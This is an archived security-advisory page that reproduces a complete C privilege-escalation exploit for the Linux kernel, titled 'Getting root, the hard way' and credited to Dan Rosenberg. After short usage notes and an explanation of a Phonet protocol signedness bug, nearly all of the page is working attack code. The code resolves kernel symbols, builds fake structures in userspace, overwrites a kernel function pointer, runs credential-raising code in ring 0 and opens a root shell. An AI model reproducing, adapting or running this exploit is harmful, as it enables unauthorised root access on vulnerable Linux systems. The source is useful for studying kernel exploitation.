Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:25464
HistoryJan 07, 2011 - 12:00 a.m.

Getting root, the hard way

2011-01-0700:00:00
vulners.com
8

/*

  • Linux Kernel CAP_SYS_ADMIN to root exploit
  • by Dan Rosenberg
  • @djrbliss on twitter
  • Usage:
  • gcc -w caps-to-root.c -o caps-to-root
  • sudo setcap cap_sys_admin+ep caps-to-root
  • ./caps-to-root
  • This exploit is NOT stable:
    • It only works on 32-bit x86 machines
    • It only works on >= 2.6.34 kernels (it could probably be ported back, but
  • it involves winning a race condition)
    • It requires symbol support for symbols that aren't included by default in
  • several distributions
    • It requires the Phonet protocol, which may not be compiled on some
  • distributions
    • You may experience problems on multi-CPU systems
  • It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be
  • surprised if it doesn't work on other distributions.

  • Lately there's been a lot of talk about how a large subset of Linux
  • capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all
  • capability that, among other things, allows mounting filesystems and
  • injecting commands into an administrator's shell - in other words, it
  • trivially allows you to get root. However, I found another way to get root
  • from CAP_SYS_ADMIN…the hard way.
  • This exploit leverages a signedness error in the Phonet protocol. By
  • specifying a negative protocol index, I can craft a series of fake
  • structures in userspace and cause the incrementing of an arbitrary kernel
  • address, which I then leverage to execute arbitrary kernel code.
  • Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
  • and bla.

*/

#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

typedef int attribute((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long attribute((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void)
{

    commit_creds&#40;prepare_kernel_cred&#40;0&#41;&#41;;
    return 0;       

}

int konami(void)
{

    /* Konami code! */
    asm&#40;&quot;inc &#37;edx;&quot;         /* UP */
        &quot;inc &#37;edx;&quot;         /* UP */
        &quot;dec &#37;edx;&quot;         /* DOWN */
        &quot;dec &#37;edx;&quot;         /* DOWN */
        &quot;shl &#37;edx;&quot;         /* LEFT */
        &quot;shr &#37;edx;&quot;         /* RIGHT */
        &quot;shl &#37;edx;&quot;         /* LEFT */
        &quot;shr &#37;edx;&quot;         /* RIGHT */
        &quot;push &#37;ebx;&quot;        /* B */
        &quot;pop &#37;ebx;&quot;
        &quot;push &#37;eax;&quot;        /* A */
        &quot;pop &#37;eax;&quot;
        &quot;mov $getroot, &#37;ebx;&quot;
        &quot;call *&#37;ebx;&quot;&#41;;     /* START */

    return 0;

}

/* thanks spender… */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;

    f = fopen&#40;&quot;/proc/kallsyms&quot;, &quot;r&quot;&#41;;
    if &#40;f == NULL&#41; {
            f = fopen&#40;&quot;/proc/ksyms&quot;, &quot;r&quot;&#41;;
            if &#40;f == NULL&#41;
                    return 0;
            oldstyle = 1;
    }

    while&#40;ret != EOF&#41; {
            if &#40;!oldstyle&#41;
                    ret = fscanf&#40;f, &quot;&#37;p &#37;c &#37;s&#92;n&quot;, &#40;void **&#41;&amp;addr, &amp;dummy, sname&#41;;
            else {
                    ret = fscanf&#40;f, &quot;&#37;p &#37;s&#92;n&quot;, &#40;void **&#41;&amp;addr, sname&#41;;
                    if &#40;ret == 2&#41; {
                            char *p;
                            if &#40;strstr&#40;sname, &quot;_O/&quot;&#41; || strstr&#40;sname, &quot;_S.&quot;&#41;&#41;
                                    continue;
                            p = strrchr&#40;sname, &#39;_&#39;&#41;;
                            if &#40;p &gt; &#40;&#40;char *&#41;sname + 5&#41; &amp;&amp; !strncmp&#40;p - 3, &quot;smp&quot;, 3&#41;&#41; {
                                    p = p - 4;
                                    while &#40;p &gt; &#40;char *&#41;sname &amp;&amp; *&#40;p - 1&#41; == &#39;_&#39;&#41;
                                            p--;
                                    *p = &#39;&#92;0&#39;;
                            }
                    }
            }
            if &#40;ret == 0&#41; {
                    fscanf&#40;f, &quot;&#37;s&#92;n&quot;, sname&#41;;
                    continue;
            }
            if &#40;!strcmp&#40;name, sname&#41;&#41; {
                    fprintf&#40;stdout, &quot; [+] Resolved &#37;s to &#37;p&#92;n&quot;, name, &#40;void *&#41;addr&#41;;
                    fclose&#40;f&#41;;
                    return addr;
            }
    }

    fclose&#40;f&#41;;
    return 0;

}

int main(int argc, char * argv[])
{

    int sock, proto, i, offset = -1;
    unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
    void * map;
    
    /* Create a socket to load the module for symbol support */
    printf&#40;&quot;[*] Testing Phonet support and CAP_SYS_ADMIN...&#92;n&quot;&#41;;
    sock = socket&#40;PF_PHONET, SOCK_DGRAM, 0&#41;;

    if&#40;sock &lt; 0&#41; {
            if&#40;errno == EPERM&#41;
                    printf&#40;&quot;[*] You don&#39;t have CAP_SYS_ADMIN.&#92;n&quot;&#41;;

            else
                    printf&#40;&quot;[*] Failed to open Phonet socket.&#92;n&quot;&#41;;
            
            return -1;
    }

    /* Resolve kernel symbols */
    printf&#40;&quot;[*] Resolving kernel symbols...&#92;n&quot;&#41;;

    proto_tab = get_kernel_sym&#40;&quot;proto_tab&quot;&#41;;
    pn_ops = get_kernel_sym&#40;&quot;phonet_dgram_ops&quot;&#41;;
    pn_ioctl = get_kernel_sym&#40;&quot;pn_socket_ioctl&quot;&#41;;
    commit_creds = get_kernel_sym&#40;&quot;commit_creds&quot;&#41;;
    prepare_kernel_cred = get_kernel_sym&#40;&quot;prepare_kernel_cred&quot;&#41;;

    if&#40;!proto_tab || !commit_creds || !prepare_kernel_cred ||
       !pn_ops || !pn_ioctl&#41; {
            printf&#40;&quot;[*] Failed to resolve kernel symbols.&#92;n&quot;&#41;;
            return -1;
    }

    /* Thanks bla, for reminding me how to do basic math */
    landing = 0x20000000;
    proto = 1 &lt;&lt; 31 | &#40;landing - proto_tab&#41; &gt;&gt; 2;

    /* Map it */
    printf&#40;&quot;[*] Preparing fake structures...&#92;n&quot;&#41;;

    map = mmap&#40;&#40;void *&#41;landing, 0x10000,
               PROT_READ | PROT_WRITE | PROT_EXEC,
               MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0&#41;;
    
    if&#40;map == MAP_FAILED&#41; {
            printf&#40;&quot;[*] Failed to map landing area.&#92;n&quot;&#41;;
            return -1;
    }
    
    /* Pointer to phonet_protocol struct */
    ptr = &#40;unsigned long *&#41;landing;
    ptr[0] = &amp;ptr[1];

    /* phonet_protocol struct */
    for&#40;i = 1; i &lt; 4; i++&#41;
            ptr[i] = &amp;ptr[4];

    /* proto struct */
    for&#40;i = 4; i &lt; 204; i++&#41;
            ptr[i] = &amp;ptr[204];

    /* First, do a test run to calculate any offsets */
    target = 0x30000000;

    /* module struct */
    for&#40;i = 204; i &lt; 404; i++&#41;
            ptr[i] = target;
    
    /* Map it */
    map = mmap&#40;&#40;void *&#41;0x30000000, 0x2000000,
               PROT_READ | PROT_WRITE | PROT_EXEC,
               MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0&#41;;
    
    if&#40;map == MAP_FAILED&#41; {
            printf&#40;&quot;[*] Failed to map landing area.&#92;n&quot;&#41;;
            return -1;
    }

    printf&#40;&quot;[*] Calculating offsets...&#92;n&quot;&#41;;

    socket&#40;PF_PHONET, SOCK_DGRAM, proto&#41;;
    
    ptr = 0x30000000;
    for&#40;i = 0; i &lt; 0x800000; i++&#41; {
            if&#40;ptr[i] != 0&#41; {
                    offset = i * sizeof&#40;void *&#41;;
                    break;
            }
    }

    if&#40;offset == -1&#41; {
            printf&#40;&quot;[*] Test run failed.&#92;n&quot;&#41;;
            return -1;
    }

    /* MSB of pn_ioctl */
    target = pn_ops + 10 * sizeof&#40;void *&#41; - 1 - offset;
    
    /* Re-fill the module struct */
    ptr = &#40;unsigned long *&#41;landing;
    for&#40;i = 204; i &lt; 404; i++&#41;
            ptr[i] = target;
    
    /* Push pn_ioctl fptr into userspace */
    printf&#40;&quot;[*] Modifying function pointer...&#92;n&quot;&#41;;

    landing = pn_ioctl;     
    while&#40;&#40;landing &amp; 0xff000000&#41; != 0x10000000&#41; {
            socket&#40;PF_PHONET, SOCK_DGRAM, proto&#41;;
            landing += 0x01000000;
    }

    /* Map it */
    map = mmap&#40;&#40;void *&#41;&#40;landing &amp; ~0xfff&#41;, 0x10000,
               PROT_READ | PROT_WRITE | PROT_EXEC,
               MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0&#41;;
    
    if&#40;map == MAP_FAILED&#41; {
            printf&#40;&quot;[*] Failed to map payload area.&#92;n&quot;&#41;;
            return -1;
    }

    /* Copy payload */
    memcpy&#40;&#40;void *&#41;landing, &amp;konami, 1024&#41;;

    printf&#40;&quot;[*] Executing Konami code at ring0...&#92;n&quot;&#41;;
    ioctl&#40;sock, 0, NULL&#41;;

    if&#40;getuid&#40;&#41;&#41; {
            printf&#40;&quot;[*] Exploit failed to get root.&#92;n&quot;&#41;;
            return -1;
    }

    printf&#40;&quot;[*] Konami code worked!  Have a root shell.&#92;n&quot;&#41;;
    execl&#40;&quot;/bin/sh&quot;, &quot;/bin/sh&quot;, NULL&#41;;

}